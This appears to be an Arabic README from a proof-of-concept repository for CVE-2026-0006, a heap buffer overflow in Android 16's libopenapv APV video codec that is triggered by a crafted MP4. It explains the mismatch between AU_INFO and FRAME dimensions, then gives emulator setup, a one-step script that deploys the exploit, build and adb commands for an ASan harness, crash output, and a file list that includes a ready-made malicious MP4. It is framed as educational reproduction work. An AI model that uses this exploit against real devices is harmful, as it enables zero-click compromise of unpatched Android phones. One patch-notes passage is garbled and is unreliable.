
CVE-2026-0006: إثبات مفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) لمكتبة libopenapv (برنامج ترميز APV لنظام أندرويد) - CVSS 9.8
CVSS 9.8 حرج | مُستغل بنشاط في البرية | تم تصحيحه في مارس 2026
ملاحظة: لم نكتشف هذه الثغرة الأمنية. كل الفضل في اكتشاف CVE-2026-0006 والإبلاغ المسؤول عنها يعود إلى الباحثين الأصليين. يحتوي هذا المستودع على تحليل التصحيح المستقل وإعادة الإنتاج والشرح التعليمي الخاص بنا لمساعدة مجتمع الأمن على فهم فئة هذا الخلل وتقنيات الاستغلال المعنية.

CVE-2026-0006 هو تجاوز سعة المخزن المؤقت في الكومة في libopenapv، برنامج ترميز APV (الفيديو الاحترافي المتقدم) مفتوح المصدر من سامسونج والمدمج في أندرويد 16 كوحدة Mainline.
تسمح الثغرة بـتنفيذ تعليمات برمجية عن بُعد بدون أي تفاعل (zero-click) عبر ملف MP4 مُعد خصيصًا. يعالج إطار عمل الوسائط في أندرويد ملفات الفيديو تلقائيًا لإنشاء الصور المصغرة والمعاينات — دون الحاجة إلى أي تفاعل من المستخدم.
تقرأ الدالتان oapvd_info() و oapvd_decode() أبعاد الإطار من PBU مختلفة (وحدات حمولة البايت Payload Byte Units). يحقن المهاجم PBU من نوع AU_INFO (النوع 65) يدّعي أبعادًا صغيرة (16×16)، بينما يقوم PBU الفعلي من نوع FRAME بترميز أبعاد كبيرة (64×64). يخصص الإطار المخازن بناءً على مخرجات oapvd_info()، ثم تكتب oapvd_decode() وحدات البكسل المفكوكة بأبعاد PBU من نوع FRAME — متجاوزةً سعة المخزن المؤقت بـ 14,848 بايت.
تحتاج إلى محاكي أندرويد 16 بمستوى تصحيح أمان قبل مارس 2026 (برنامج فك ترميز APV غير موجود في إصدارات أندرويد الأقدم).
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
إذا كان تصحيح الأمان هو 2026-03-01 أو أحدث، فستكون الثغرة قد تم إصلاحها ولن يعمل الاستغلال. استخدم صورة نظام أو لقطة أقدم.
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
يقوم هذا الأمر بتوليد ملف MP4 الاستغلالي، ودفعه إلى الجهاز، وفتحه، والتقاط مخرجات الانهيار. قد لا يحدث الانهيار من المحاولة الأولى — يعيد السكربت المحاولة تلقائيًا حتى 3 مرات.
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): التحقق من ssize > 4 وفحص التوقيع 'aPv1'oapv_param.c للتحقق من الأبعاد/حجم البلاطاتتم اكتشاف هذه الثغرة الأمنية والإبلاغ عنها بمسؤولية من قبل الباحثين الأمنيين الأصليين. لم نعثر نحن على هذا CVE. كل الفضل في الاكتشاف يعود إليهم.
يمثل هذا المستودع تحليل التصحيح وإعادة الإنتاج المستقل من Mobile Hacking Lab — تم إنشاؤه لأغراض تعليمية لمساعدة مجتمع الأمن على التعلم من الثغرات الواقعية.
أُجري هذا البحث لأغراض تعليمية على بنى اختبار معزولة من المكتبة القابلة للاختراق. تم إجراء جميع الاختبارات على ملفات ثنائية مبنية محليًا من مشروع libopenapv مفتوح المصدر. لم يتم استهداف أي أجهزة أو أنظمة إنتاجية.
| الملف | الوصف |
|---|
generate_overflow_mp4.py | يولّد ملف MP4 الاستغلالي مع عدم تطابق أبعاد AU_INFO |
deploy_exploit_mp4.sh | بخطوة واحدة: التوليد، الدفع إلى جهاز أندرويد، الفتح، والتقاط الانهيار |
poc_mp4_asan.c | إثبات مفهوم ASan يحاكي مسار فك الترميز C2SoftApvDec |
poc_android_oob_write.c | إثبات مفهوم ARM64 مستقل مع اكتشاف تجاوز منطقة الحماية |
valid.apv | تدفق بت APV صالح بحجم 337 بايت (64×64، YUV422، 10-بت) |
apv-mp4/valid_ffmpeg.mp4 | حاوية MP4 أساسية (تم توليدها بواسطة ffmpeg) |
apv-mp4/overflow_auinfo.mp4 | ملف MP4 استغلالي مُجهز مسبقًا (1,178 بايت) |